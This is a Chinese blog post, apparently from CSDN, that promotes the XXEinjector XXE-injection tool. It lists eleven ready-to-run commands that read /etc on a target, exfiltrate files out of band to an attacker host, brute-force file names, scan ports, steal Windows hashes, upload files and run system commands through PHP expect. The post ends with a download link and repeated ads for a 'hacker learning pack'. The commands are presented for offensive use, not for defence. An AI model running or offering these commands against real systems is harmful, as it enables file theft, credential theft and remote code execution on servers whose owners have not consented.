还在手动构造 XXE 注入 payload?OUT 啦!今天给大家安利一款 自动化 XXE 注入神器 XXEinjector,让你轻松驾驭 XXE 漏洞,成为网络安全界的弄潮儿!
XXEinjector 是一款基于 Ruby 开发的 XXE 注入工具,它支持多种直接或间接的带外 (OOB) 方法来提取文件。不过要注意,目录枚举功能目前只对 Java 应用有效,而暴力破解攻击则可能需要与其他应用配合使用,才能发挥最大威力。
XXEinjector:启动你的 XXE 漏洞挖掘之旅
想玩转 XXEinjector?首先要做的就是熟悉它的各种操作选项。毕竟,工欲善其事,必先利其器嘛!在使用它进行渗透测试之前,务必仔细阅读官方文档,了解每个配置选项的作用,才能最大限度地发挥它的威力。当然,作为 Ruby 家族的一员,你需要先安装 Ruby 运行环境。
--host 必填项 – 用于建立反向链接的 IP 地址。举个栗子: (--host=192.168.0.2)
实战演练:XXEinjector 使用场景大揭秘
接下来,让我们通过几个实际的例子,来看看 XXEinjector 在实战中是如何大显身手的。
案例一:枚举 HTTPS 应用中的 /etc 目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
这条命令指示 XXEinjector 去枚举 HTTPS 应用中的 /etc
目录,并将结果保存到 /tmp/req.txt
文件中。
案例二:使用 Gopher 协议进行 OOB 枚举
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
这条命令与上一个类似,但使用了 Gopher 协议进行带外 (OOB) 数据传输。
案例三:二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
这个命令展示了如何进行二次漏洞利用,其中 --2ndfile
参数指定了第二个请求文件。
案例四:HTTP OOB + Netdoc 协议爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
这条命令使用 HTTP 带外方法和 Netdoc 协议,对指定的文件名列表进行爆破攻击。
案例五:直接性漏洞利用进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
这个命令展示了如何通过直接性漏洞利用方式进行资源枚举,--direct
参数用于指定唯一的标记。
案例六:枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
使用这个命令,你可以让 XXEinjector 尝试枚举目标主机上所有未被过滤的端口。
案例七:窃取 Windows 哈希
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
这条命令尝试窃取目标 Windows 系统的哈希值,方便后续的渗透测试。
案例八:Java Jar 文件上传
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
通过这个命令,你可以利用 XXE 漏洞上传 Java Jar 文件到目标服务器。
案例九:PHP Expect 执行系统指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
这条命令利用 PHP expect 模块执行系统指令,例如这里的 ls
命令。
案例十:XSLT 注入测试
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
这个命令用于测试目标系统是否存在 XSLT 注入漏洞。
案例十一:记录请求信息
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
使用这个命令,你可以记录 XXEinjector 发送的请求信息,方便后续的分析和调试。
XXEinjector 下载传送门:
https://github.com/enjoiz/XXEinjector/archive/master.zip
还在等什么?赶快下载 XXEinjector,开启你的 XXE 漏洞挖掘之旅吧!
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**
**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************